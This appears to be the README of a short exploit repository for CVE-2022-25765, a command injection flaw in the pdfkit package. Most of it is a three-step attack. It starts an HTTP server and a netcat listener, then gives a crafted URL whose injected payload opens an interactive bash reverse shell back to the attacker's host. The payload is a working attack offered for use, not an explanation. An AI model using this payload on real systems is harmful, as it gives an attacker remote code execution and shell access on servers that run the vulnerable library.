lekosbelas/pdfkit-cmd-injectionProof-of-concept exploit for CVE-2022-25765 demonstrating command injection in pdfkit 0.8.6 via unsanitized URL parameter, enabling remote code execution and reverse shell.
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
1- python3 -m http.server 80
2- nc -lnvp 'Target Port'
3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}